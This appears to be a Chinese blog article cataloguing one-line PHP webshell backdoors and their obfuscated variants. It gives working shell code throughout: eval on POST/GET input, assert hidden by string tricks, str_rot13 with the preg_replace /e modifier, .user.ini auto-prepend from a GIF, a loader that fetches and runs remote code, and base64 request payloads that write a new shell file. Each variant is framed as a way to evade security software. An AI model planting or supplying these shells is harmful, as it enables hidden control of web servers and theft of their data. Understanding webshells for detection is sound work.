一句话木马初级篇:常见PHP后门解析

        网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文件与网站服务器WEB目录下正常的网页文件混在一起,使得可以通过使用浏览器来访问这些asp或者php文件,从而得到一个命令执行环境,最终达到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序命令等)。这样的文件叫做后门。

  下面整理了一下当前最常见的PHP后门:

  最流行的一种后门叫做一句话木马,其形式如下所示:

  <?php eval($_POST[CMD]);?> 或者     <?php eval($_GET[CMD]);?>
原理浅析:

  1、在PHP脚本语言中,eval(code)的功能是将code组合成php指令,然后将指令执行。

  2、<?php $a=”phpinfo()”; eval(“echo $a; “);?>就相当于执行 echo phpinfo();语句。

优点:短小精悍,功能强大。

缺点:容易被安全软件检测出来。

  为了增强隐蔽性,出现了各种一句话木马的变形。

变形一:

<?php $x=$_GET[‘z’];@eval(“$x;”);?>

改进的地方:

  一般的安全软件可能会将eval+GET或POST判定为后门程序,因此这种变形将eval和GET或者POST分开,能够绕过这种情况。

不足之处:

  只是改变了一下eval和get的位置,换汤不换药。

变形二:

  $a =str_replace(x,””,”axsxxsxexrxxt”);$a($_POST[“code”]);

发送请求的参数:

  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))

还原出来的命令就是:

  assert(fputs(fopen(‘c.php’,w),”<?php @eval($_POST[a]);?>”))。

改进的地方:

  用字符串隐藏assert方法,并且利用它加上动态传入参数的方式构造后门。

变形三:

  $_GET[‘a’]($_GET[‘b’]);

发送请求的参数:

  ?a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))

改进的地方:

  完全利用动态参数传入的方式构造后门,将敏感函数和执行的命令动态传入,效果如变形二。

变形四:

  ($code = $_POST[‘code’]) && @preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’);

改进的地方:

  首先,将eval函数用str_rot13(‘riny’)隐藏。

  然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

变形五:

  $filename=$_GET[‘code’];include ($filename);

改进的地方:

  由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

变形六:

  上传.user.ini,并且写入auto_prepend_file=code.gif

  将一句话隐藏在code.gif中,并且将它上传到同一目录下。

改进的地方:

  将一句话木马隐藏在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使得所有正常php文件都毫不知情的中招。

变形七:    if(empty($_SESSION[‘api’]))$_SESSION[‘api’]=substr(file_get_contents(sprintf(‘%s?  %s’,pack(“H*”,’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[‘api’]),null);

改进的地方:

第一,通过pack函数处理URL为http://7shell.googlecode.com/svn/make.jpg

第二,利用file_get_contents获得make.jpg。

第三,利用substr截取3649字节以后的内容。

第四,利用gzuncompress方法将3649字节以后的内容解压出来。

第五,用preg_replace方法的e操作符将代码执行。

还有很多后续操作……

  以上为了试验操作的方便,采用的是Get方式获取PHP的执行代码,但实际上,由于URL长度的限制,一般采用Post的方式。由于PHP版本的不断更新,因此一些旧的方法可能已经不太好用,但是随着版本的更新,相信也会有更多越来越新奇的mm慢慢浮出水面,让我们拭目以待。

  (作者:BBZhou/ArkTeam)

发表评论

电子邮件地址不会被公开。 必填项已用*标注